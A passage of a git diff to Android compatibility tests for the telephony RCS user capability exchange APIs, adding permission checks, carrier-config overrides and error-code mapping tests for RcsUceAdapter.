+            inputStream.close();
+            out = outputStream.toByteArray();
+            outputStream.close();
+        } catch (IOException e) {
+        }
+        return out;
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsContactUceCapabilityTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsContactUceCapabilityTest.java
index 5e8616c..4cf7a62 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsContactUceCapabilityTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsContactUceCapabilityTest.java
@@ -28,7 +28,6 @@
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 
-import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -40,8 +39,7 @@
     private static final Uri TEST_CONTACT = Uri.fromParts("sip", "me.test", null);
 
     @Test
-    @Ignore("RCS APIs not public yet")
-    public void createParcelUnparcel() {
+    public void testParcelUnparcel() {
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
@@ -59,9 +57,9 @@
         RcsContactPresenceTuple.Builder tupleBuilder = new RcsContactPresenceTuple.Builder(
                 RcsContactPresenceTuple.TUPLE_BASIC_STATUS_OPEN,
                 RcsContactPresenceTuple.SERVICE_ID_MMTEL, serviceVersion);
-        tupleBuilder.addContactUri(TEST_CONTACT)
-                .addDescription(serviceDescription)
-                .addServiceCapabilities(servCapsBuilder.build());
+        tupleBuilder.setContactUri(TEST_CONTACT)
+                .setServiceDescription(serviceDescription)
+                .setServiceCapabilities(servCapsBuilder.build());
 
         PresenceBuilder presenceBuilder = new PresenceBuilder(TEST_CONTACT,
                 RcsContactUceCapability.SOURCE_TYPE_CACHED,
@@ -84,7 +82,7 @@
         String unparceledDuplexMode = ServiceCapabilities.DUPLEX_MODE_RECEIVE_ONLY;
 
         RcsContactPresenceTuple unparceledTuple =
-                unparceledCapability.getPresenceTuple(RcsContactPresenceTuple.SERVICE_ID_MMTEL);
+                unparceledCapability.getCapabilityTuple(RcsContactPresenceTuple.SERVICE_ID_MMTEL);
 
         if (unparceledTuple != null) {
             unparceledTupleStatus = unparceledTuple.getStatus();
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
index dc4045c..aafa6f8 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/RcsUceAdapterTest.java
@@ -16,15 +16,32 @@
 
 package android.telephony.ims.cts;
 
+import static android.telephony.ims.RcsContactUceCapability.REQUEST_RESULT_FOUND;
+import static android.telephony.ims.RcsContactUceCapability.REQUEST_RESULT_NOT_FOUND;
+import static android.telephony.ims.stub.RcsCapabilityExchangeImplBase.COMMAND_CODE_FETCH_ERROR;
+import static android.telephony.ims.stub.RcsCapabilityExchangeImplBase.COMMAND_CODE_GENERIC_FAILURE;
+import static android.telephony.ims.stub.RcsCapabilityExchangeImplBase.COMMAND_CODE_INSUFFICIENT_MEMORY;
+import static android.telephony.ims.stub.RcsCapabilityExchangeImplBase.COMMAND_CODE_INVALID_PARAM;
+import static android.telephony.ims.stub.RcsCapabilityExchangeImplBase.COMMAND_CODE_LOST_NETWORK_CONNECTION;
+import static android.telephony.ims.stub.RcsCapabilityExchangeImplBase.COMMAND_CODE_NOT_FOUND;
+import static android.telephony.ims.stub.RcsCapabilityExchangeImplBase.COMMAND_CODE_NOT_SUPPORTED;
+import static android.telephony.ims.stub.RcsCapabilityExchangeImplBase.COMMAND_CODE_NO_CHANGE;
+import static android.telephony.ims.stub.RcsCapabilityExchangeImplBase.COMMAND_CODE_REQUEST_TIMEOUT;
+import static android.telephony.ims.stub.RcsCapabilityExchangeImplBase.COMMAND_CODE_SERVICE_UNAVAILABLE;
+import static android.telephony.ims.stub.RcsCapabilityExchangeImplBase.COMMAND_CODE_SERVICE_UNKNOWN;
+
 import static junit.framework.Assert.assertTrue;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.fail;
 
+import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.database.ContentObserver;
@@ -32,20 +49,32 @@
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.os.Looper;
+import android.os.PersistableBundle;
 import android.provider.Telephony;
 import android.telecom.PhoneAccount;
+import android.telephony.CarrierConfigManager;
 import android.telephony.SubscriptionManager;
 import android.telephony.ims.ImsException;
 import android.telephony.ims.ImsManager;
 import android.telephony.ims.ImsRcsManager;
+import android.telephony.ims.RcsContactPresenceTuple;
+import android.telephony.ims.RcsContactPresenceTuple.ServiceCapabilities;
 import android.telephony.ims.RcsContactUceCapability;
 import android.telephony.ims.RcsUceAdapter;
+import android.telephony.ims.feature.ImsFeature;
+import android.telephony.ims.stub.CapabilityExchangeEventListener;
+import android.telephony.ims.stub.CapabilityExchangeEventListener.OptionsRequestCallback;
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+import android.util.Log;
+import android.util.Pair;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.BlockedNumberUtil;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 
+import org.junit.After;
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
@@ -53,7 +82,15 @@
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashMap;
 import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Random;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 import java.util.function.Consumer;
@@ -61,35 +98,113 @@
 @RunWith(AndroidJUnit4.class)
 public class RcsUceAdapterTest {
 
+    private static final String FEATURE_TAG_CHAT =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.oma.cpm.session\"";
+    private static final String FEATURE_TAG_FILE_TRANSFER =
+            "+g.3gpp.iari-ref=\"urn%3Aurn-7%3A3gpp-application.ims.iari.rcs.fthttp\"";
+    private static final String FEATURE_TAG_MMTEL_AUDIO_CALL =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel\"";
+    private static final String FEATURE_TAG_MMTEL_VIDEO_CALL =
+            "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel\";video";
+
+    private static int sTestSlot = 0;
     private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
-    private static final Uri TEST_NUMBER_URI =
-            Uri.fromParts(PhoneAccount.SCHEME_TEL, "6505551212", null);
     private static final Uri LISTENER_URI = Uri.withAppendedPath(Telephony.SimInfo.CONTENT_URI,
             Telephony.SimInfo.COLUMN_IMS_RCS_UCE_ENABLED);
     private static HandlerThread sHandlerThread;
+    private static ImsServiceConnector sServiceConnector;
+    private static CarrierConfigReceiver sReceiver;
+    private static boolean sDeviceUceEnabled;
+
+    private static String sTestPhoneNumber;
+    private static String sTestContact2;
+    private static String sTestContact3;
+    private static Uri sTestNumberUri;
+    private static Uri sTestContact2Uri;
+    private static Uri sTestContact3Uri;
 
     private ContentObserver mUceObserver;
 
+    private static class CarrierConfigReceiver extends BroadcastReceiver {
+        private CountDownLatch mLatch = new CountDownLatch(1);
+        private final int mSubId;
+
+        CarrierConfigReceiver(int subId) {
+            mSubId = subId;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+                int subId = intent.getIntExtra(CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX, -1);
+                if (mSubId == subId) {
+                    mLatch.countDown();
+                }
+            }
+        }
+
+        void clearQueue() {
+            mLatch = new CountDownLatch(1);
+        }
+
+        void waitForCarrierConfigChanged() throws Exception {
+            mLatch.await(5000, TimeUnit.MILLISECONDS);
+        }
+    }
+
     @BeforeClass
-    public static void beforeAllTests() {
+    public static void beforeAllTests() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
 
         sTestSub = ImsUtils.getPreferredActiveSubId();
+        sTestSlot = SubscriptionManager.getSlotIndex(sTestSub);
 
         if (Looper.getMainLooper() == null) {
             Looper.prepareMainLooper();
         }
         sHandlerThread = new HandlerThread("CtsTelephonyTestCases");
         sHandlerThread.start();
+
+        sServiceConnector = new ImsServiceConnector(InstrumentationRegistry.getInstrumentation());
+        sServiceConnector.clearAllActiveImsServices(sTestSlot);
+
+        // Save the original config of device uce enabled and override it.
+        sDeviceUceEnabled = sServiceConnector.getDeviceUceEnabled();
+        sServiceConnector.setDeviceUceEnabled(true);
+
+        sReceiver = new RcsUceAdapterTest.CarrierConfigReceiver(sTestSub);
+        IntentFilter filter = new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
+        // ACTION_CARRIER_CONFIG_CHANGED is sticky, so we will get a callback right away.
+        InstrumentationRegistry.getInstrumentation().getContext()
+                .registerReceiver(sReceiver, filter);
+
+        // Initialize the test phone numbers
+        initPhoneNumbers();
     }
 
     @AfterClass
-    public static void afterAllTests() {
+    public static void afterAllTests() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
+        // // Restore all ImsService configurations that existed before the test.
+        if (sServiceConnector != null) {
+            sServiceConnector.disconnectServices();
+            sServiceConnector.setDeviceUceEnabled(sDeviceUceEnabled);
+        }
+        sServiceConnector = null;
+
+        // Ensure there are no CarrierConfig overrides as well as reset the ImsResolver in case the
+        // ImsService override changed in CarrierConfig while we were overriding it.
+        overrideCarrierConfig(null);
+
+        if (sReceiver != null) {
+            InstrumentationRegistry.getInstrumentation().getContext().unregisterReceiver(sReceiver);
+            sReceiver = null;
+        }
+
         if (sHandlerThread != null) {
             sHandlerThread.quit();
         }
@@ -100,12 +215,26 @@
         if (!ImsUtils.shouldTestImsService()) {
             return;
         }
-
         if (!SubscriptionManager.isValidSubscriptionId(sTestSub)) {
             fail("This test requires that there is a SIM in the device!");
         }
     }
 
+    @After
+    public void afterTest() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Unbind the ImsService after the test completes.
+        if (sServiceConnector != null) {
+            sServiceConnector.disconnectCarrierImsService();
+            sServiceConnector.disconnectDeviceImsService();
+        }
+        overrideCarrierConfig(null);
+        // Remove all the test contacts from EAB database
+        removeTestContactFromEab();
+    }
+
     @Test
     public void testCapabilityDiscoveryIntentReceiverExists() {
         if (!ImsUtils.shouldTestImsService()) {
@@ -186,8 +315,8 @@
         ImsManager imsManager = getContext().getSystemService(ImsManager.class);
         RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
         assertNotNull("UCE adapter should not be null!", uceAdapter);
-        ArrayList<Uri> numbers = new ArrayList<>(1);
-        numbers.add(TEST_NUMBER_URI);
+        Collection<Uri> numbers = new ArrayList<>(1);
+        numbers.add(sTestNumberUri);
 
         // isUceSettingEnabled - read
         Boolean isUceSettingEnabledResult = null;
@@ -240,30 +369,1040 @@
             }
         }
 
-        // getUcePublishState
+        // Trigger carrier config changed
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        // Connect to the TestImsService
+        connectTestImsService();
+
+        // getUcePublishState without permission
         try {
             uceAdapter.getUcePublishState();
-            fail("getUcePublishState should require READ_PRIVILEGED_PHONE_STATE.");
+            fail("getUcePublishState should require READ_PRIVILEGED_PHONE_STATE permission.");
         } catch (SecurityException e) {
             //expected
         }
 
-        // requestCapabilities
+        // getUcePublishState with permission
         try {
-            uceAdapter.requestCapabilities(Runnable::run, numbers,
-                    new RcsUceAdapter.CapabilitiesCallback() {
-                        @Override
-                        public void onCapabilitiesReceived(
-                                List<RcsContactUceCapability> capabilities) {}
-                        @Override
-                        public void onComplete() {}
-                        @Override
-                        public void onError(int errorCode) {}
-                    });
-            fail("requestCapabilities should require READ_PRIVILEGED_PHONE_STATE.");
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(uceAdapter,
+                    (m) -> m.getUcePublishState(), ImsException.class,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("getUcePublishState should succeed with READ_PRIVILEGED_PHONE_STATE.");
+        } catch (ImsException e) {
+            // unsupported is a valid fail cause.
+            if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
+                fail("getUcePublishState failed with code " + e.getCode());
+            }
+        }
+
+        final RcsUceAdapter.OnPublishStateChangedListener publishStateListener = (state) -> { };
+
+        // addOnPublishStateChangedListener without permission
+        try {
+            uceAdapter.addOnPublishStateChangedListener(Runnable::run, publishStateListener);
+            fail("addOnPublishStateChangedListener should require "
+                    + "READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            // expected
+        }
+
+        // addOnPublishStateChangedListener with permission.
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(uceAdapter,
+                    (m) -> m.addOnPublishStateChangedListener(Runnable::run, publishStateListener),
+                    ImsException.class,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("addOnPublishStateChangedListener should succeed with "
+                    + "READ_PRIVILEGED_PHONE_STATE.");
+        } catch (ImsException e) {
+            // unsupported is a valid fail cause.
+            if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
+                fail("addOnPublishStateChangedListener failed with code " + e.getCode());
+            }
+        }
+
+        // removeOnPublishStateChangedListener without permission
+        try {
+            uceAdapter.removeOnPublishStateChangedListener(publishStateListener);
+            fail("removeOnPublishStateChangedListener should require "
+                    + "READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            // expected
+        }
+
+        // Prepare the callback of the capability request
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+            }
+            @Override
+            public void onComplete() {
+            }
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+            }
+        };
+
+        // requestCapabilities without permission
+        try {
+            uceAdapter.requestCapabilities(numbers, Runnable::run , callback);
+            fail("requestCapabilities should require ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
         } catch (SecurityException e) {
             //expected
         }
+
+        // requestAvailability without permission
+        try {
+            uceAdapter.requestAvailability(sTestNumberUri, Runnable::run, callback);
+            fail("requestAvailability should require ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
+        } catch (SecurityException e) {
+            //expected
+        }
+
+        // Lunch an activity to stay in the foreground.
+        lunchUceActivity();
+
+        // requestCapabilities in the foreground
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(uceAdapter,
+                    (m) -> m.requestCapabilities(numbers, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestCapabilities should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
+        } catch (ImsException e) {
+            // unsupported is a valid fail cause.
+            if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
+                fail("requestCapabilities failed with code " + e.getCode());
+            }
+        }
+
+        // requestAvailability in the foreground
+        try {
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(uceAdapter,
+                    (m) -> m.requestAvailability(sTestNumberUri, Runnable::run, callback),
+                    ImsException.class,
+                    "android.permission.ACCESS_RCS_USER_CAPABILITY_EXCHANGE");
+        } catch (SecurityException e) {
+            fail("requestAvailability should succeed with ACCESS_RCS_USER_CAPABILITY_EXCHANGE.");
+        } catch (ImsException e) {
+            // unsupported is a valid fail cause.
+            if (e.getCode() != ImsException.CODE_ERROR_UNSUPPORTED_OPERATION) {
+                fail("requestAvailability failed with code " + e.getCode());
+            }
+        }
+
+        // Finish the activity
+        finishUceActivity();
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testCapabilitiesRequestAllowed() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Prepare the test contact and the callback
+        Collection<Uri> numbers = new ArrayList<>(1);
+        numbers.add(sTestNumberUri);
+
+        ArrayList<String> pidfXmlList = new ArrayList<>(1);
+        pidfXmlList.add(getPidfXmlData(sTestNumberUri, true, true));
+
+        BlockingQueue<Boolean> completeQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<RcsContactUceCapability> capabilityQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Integer> errorQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+                capabilities.forEach(c -> capabilityQueue.offer(c));
+            }
+            @Override
+            public void onComplete() {
+                completeQueue.offer(true);
+            }
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+                errorQueue.offer(errorCode);
+            }
+        };
+
+        // The API requestCapabilities should fail when it doesn't grant the permission.
+        try {
+            uceAdapter.requestCapabilities(numbers, Runnable::run, callback);
+            fail("requestCapabilities requires ACCESS_RCS_USER_CAPABILITY_EXCHANGE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+
+        // The API requestAvailability should fail when it doesn't grant the permission.
+        try {
+            uceAdapter.requestAvailability(sTestNumberUri, Runnable::run, callback);
+            fail("requestAvailability requires ACCESS_RCS_USER_CAPABILITY_EXCHANGE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+
+        // Trigger carrier config changed
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        // Connect to the TestImsService
+        connectTestImsService();
+
+        // Stay in the foreground.
+        lunchUceActivity();
+
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        requestCapabilities(uceAdapter, numbers, callback);
+
+        // Verify that the callback "onError" is called with the error code NOT_ENABLED because
+        // the carrier config KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL is still false.
+        try {
+            assertEquals(RcsUceAdapter.ERROR_NOT_ENABLED, waitForIntResult(errorQueue));
+        } catch (Exception e) {
+            fail("requestCapabilities with command error failed: " + e);
+        } finally {
+            capabilityQueue.clear();
+            completeQueue.clear();
+            errorQueue.clear();
+        }
+
+        requestAvailability(uceAdapter, sTestNumberUri, callback);
+
+        // Verify that the callback "onError" is called with the error code NOT_ENABLED because
+        // the carrier config KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL is still false.
+        try {
+            assertEquals(RcsUceAdapter.ERROR_NOT_ENABLED, waitForIntResult(errorQueue));
+        } catch (Exception e) {
+            fail("requestAvailability with command error failed: " + e);
+        } finally {
+            capabilityQueue.clear();
+            completeQueue.clear();
+            errorQueue.clear();
+        }
+
+        // Override another carrier config KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_CAPABILITY_EXCHANGE_BOOL,
+                true);
+        overrideCarrierConfig(bundle);
+
+        // Preapre the network response is 200 OK and the capabilities update
+        int networkRespCode = 200;
+        String networkRespReason = "OK";
+        capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+            cb.onNetworkResponse(networkRespCode, networkRespReason);
+            cb.onNotifyCapabilitiesUpdate(pidfXmlList);
+            cb.onTerminated("", 0L);
+        });
+
+        requestCapabilities(uceAdapter, numbers, callback);
+
+        // Verify that the contact capability is received and the onCompleted is called.
+        RcsContactUceCapability capability = waitForResult(capabilityQueue);
+        verifyCapabilityResult(capability, sTestNumberUri, REQUEST_RESULT_FOUND, true, true);
+        waitForResult(completeQueue);
+
+        errorQueue.clear();
+        completeQueue.clear();
+        capabilityQueue.clear();
+        removeTestContactFromEab();
+
+        requestAvailability(uceAdapter, sTestNumberUri, callback);
+
+        // Verify that the contact capability is received and the onCompleted is called.
+        capability = waitForResult(capabilityQueue);
+        verifyCapabilityResult(capability, sTestNumberUri, REQUEST_RESULT_FOUND, true, true);
+        waitForResult(completeQueue);
+
+        finishUceActivity();
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testCapabilitiesRequestWithCmdError() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Connect to the TestImsService
+        setupTestImsService(uceAdapter, true, true, false);
+
+        // Stay in the foreground
+        lunchUceActivity();
+
+        Collection<Uri> contacts = Collections.singletonList(sTestNumberUri);
+
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        // Prepare queues to receive the callback
+        BlockingQueue<Integer> errorQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Long> retryAfterQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+            }
+            @Override
+            public void onComplete() {
+            }
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+                errorQueue.offer(errorCode);
+                retryAfterQueue.offer(retryAfterMilliseconds);
+            }
+        };
+
+        // Prepare a map and define each command error code and its associated result.
+        Map<Integer, Integer> cmdErrorMap = new HashMap<>();
+        cmdErrorMap.put(COMMAND_CODE_SERVICE_UNKNOWN, RcsUceAdapter.ERROR_GENERIC_FAILURE);
+        cmdErrorMap.put(COMMAND_CODE_GENERIC_FAILURE, RcsUceAdapter.ERROR_GENERIC_FAILURE);
+        cmdErrorMap.put(COMMAND_CODE_INVALID_PARAM, RcsUceAdapter.ERROR_GENERIC_FAILURE);
+        cmdErrorMap.put(COMMAND_CODE_FETCH_ERROR, RcsUceAdapter.ERROR_GENERIC_FAILURE);
+        cmdErrorMap.put(COMMAND_CODE_REQUEST_TIMEOUT, RcsUceAdapter.ERROR_REQUEST_TIMEOUT);
+        cmdErrorMap.put(COMMAND_CODE_INSUFFICIENT_MEMORY, RcsUceAdapter.ERROR_INSUFFICIENT_MEMORY);
+        cmdErrorMap.put(COMMAND_CODE_LOST_NETWORK_CONNECTION, RcsUceAdapter.ERROR_LOST_NETWORK);
+        cmdErrorMap.put(COMMAND_CODE_NOT_SUPPORTED, RcsUceAdapter.ERROR_GENERIC_FAILURE);
+        cmdErrorMap.put(COMMAND_CODE_NOT_FOUND, RcsUceAdapter.ERROR_NOT_FOUND);
+        cmdErrorMap.put(COMMAND_CODE_SERVICE_UNAVAILABLE, RcsUceAdapter.ERROR_SERVER_UNAVAILABLE);
+        cmdErrorMap.put(COMMAND_CODE_NO_CHANGE, RcsUceAdapter.ERROR_GENERIC_FAILURE);
+
+        // Verify each command error code and the expected callback result
+        cmdErrorMap.forEach((cmdError, expectedCallbackResult) -> {
+            // Setup the capabilities request that will be failed with the given command error code
+            capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+                cb.onCommandError(cmdError);
+            });
+
+            requestCapabilities(uceAdapter, contacts, callback);
+
+            // Verify that the callback "onError" is called with the expected error code.
+            try {
+                assertEquals(expectedCallbackResult.intValue(), waitForIntResult(errorQueue));
+                assertEquals(0L, waitForLongResult(retryAfterQueue));
+            } catch (Exception e) {
+                fail("requestCapabilities with command error failed: " + e);
+            } finally {
+                errorQueue.clear();
+                retryAfterQueue.clear();
+            }
+
+            requestAvailability(uceAdapter, sTestNumberUri, callback);
+
+            // Verify that the callback "onError" is called with the expected error code.
+            try {
+                assertEquals(expectedCallbackResult.intValue(), waitForIntResult(errorQueue));
+                assertEquals(0L, waitForLongResult(retryAfterQueue));
+            } catch (Exception e) {
+                fail("requestCapabilities with command error failed: " + e);
+            } finally {
+                errorQueue.clear();
+                retryAfterQueue.clear();
+            }
+        });
+
+        finishUceActivity();
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testCapabilitiesRequestWithResponseError() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        RcsUceAdapter uceAdapter = imsManager.getImsRcsManager(sTestSub).getUceAdapter();
+        assertNotNull("UCE adapter should not be null!", uceAdapter);
+
+        // Connect to the ImsService
+        setupTestImsService(uceAdapter, true, true /* presence cap */, false /* options */);
+
+        Collection<Uri> numbers = new ArrayList<>(1);
+        numbers.add(sTestNumberUri);
+
+        BlockingQueue<Integer> errorQueue = new LinkedBlockingQueue<>();
+        BlockingQueue<Long> retryAfterQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.CapabilitiesCallback callback = new RcsUceAdapter.CapabilitiesCallback() {
+            @Override
+            public void onCapabilitiesReceived(List<RcsContactUceCapability> capabilities) {
+            }
+            @Override
+            public void onComplete() {
+            }
+            @Override
+            public void onError(int errorCode, long retryAfterMilliseconds) {
+                errorQueue.offer(errorCode);
+                retryAfterQueue.offer(retryAfterMilliseconds);
+            }
+        };
+
+        Map<Entry<Integer, String>, Integer> networkRespError = new HashMap<>();
+        // 408 Request Timeout
+        networkRespError.put(new Entry<Integer, String>() {
+            @Override
+            public Integer getKey() {
+                return 408;
+            }
+            @Override
+            public String getValue() {
+                return "Request Timeout";
+            }
+            @Override
+            public String setValue(String value) {
+                return value;
+            }
+        }, RcsUceAdapter.ERROR_REQUEST_TIMEOUT);
+
+        // 423 Interval Too Short
+        networkRespError.put(new Entry<Integer, String>() {
+            @Override
+            public Integer getKey() {
+                return 423;
+            }
+            @Override
+            public String getValue() {
+                return "Interval Too Short";
+            }
+            @Override
+            public String setValue(String value) {
+                return value;
+            }
+        }, RcsUceAdapter.ERROR_GENERIC_FAILURE);
+
+        // 500 Server Internal Error
+        networkRespError.put(new Entry<Integer, String>() {
+            @Override
+            public Integer getKey() {
+                return 500;
+            }
+            @Override
+            public String getValue() {
+                return "Service Unavailable";
+            }
+            @Override
+            public String setValue(String value) {
+                return value;
+            }
+        }, RcsUceAdapter.ERROR_SERVER_UNAVAILABLE);
+
+        // 503 Service Unavailable
+        networkRespError.put(new Entry<Integer, String>() {
+            @Override
+            public Integer getKey() {
+                return 503;
+            }
+            @Override
+            public String getValue() {
+                return "Service Unavailable";
+            }
+            @Override
+            public String setValue(String value) {
+                return value;
+            }
+        }, RcsUceAdapter.ERROR_SERVER_UNAVAILABLE);
+
+        // Stay in the foreground.
+        lunchUceActivity();
+
+        TestRcsCapabilityExchangeImpl capabilityExchangeImpl = sServiceConnector
+                .getCarrierService().getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        networkRespError.forEach((networkResp, expectedCallbackResult) -> {
+            // Set the capabilities request failed with the given SIP code (without Reason header)
+            capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+                cb.onNetworkResponse(networkResp.getKey(), networkResp.getValue());
+            });
+
+            requestCapabilities(uceAdapter, numbers, callback);
+            // Verify that the callback "onError" is called with the expected error code.
+            try {
+                assertEquals(expectedCallbackResult.intValue(), waitForIntResult(errorQueue));
+                assertEquals(0L, waitForLongResult(retryAfterQueue));
+            } catch (Exception e) {
+                fail("requestCapabilities with command error failed: " + e);
+            } finally {
+                errorQueue.clear();
+                retryAfterQueue.clear();
+            }
+
+            requestAvailability(uceAdapter, sTestNumberUri, callback);
+
+            // Verify that the callback "onError" is called with the expected error code.
+            try {
+                assertEquals(expectedCallbackResult.intValue(), waitForIntResult(errorQueue));
+                assertEquals(0L, waitForLongResult(retryAfterQueue));
+            } catch (Exception e) {
+                fail("requestAvailability with command error failed: " + e);
+            } finally {
+                errorQueue.clear();
+                retryAfterQueue.clear();
+            }
+
+            /*
+             * Set the capabilities request failed with the given SIP code (with Reason header)
+             */
+            capabilityExchangeImpl.setSubscribeOperation((uris, cb) -> {
+                int networkRespCode = 200;
+                String networkReason = "OK";
+                cb.onNetworkResponse(networkRespCode, networkReason,
+                        networkResp.getKey(), networkResp.getValue());
+            });
+
+            requestCapabilities(uceAdapter, numbers, callback);
+
+            // Verify that the callback "onError" is called with the expected error code.
+            try {
+                assertEquals(expectedCallbackResult.intValue(), waitForIntResult(errorQueue));
+                assertEquals(0L, waitForLongResult(retryAfterQueue));
+            } catch (Exception e) {
+                fail("requestCapabilities with command error failed: " + e);
+            } finally {
+                errorQueue.clear();
+                retryAfterQueue.clear();
+            }
+
+            requestAvailability(uceAdapter, sTestNumberUri, callback);
+
+            // Verify that the callback "onError" is called with the expected error code.
+            try {
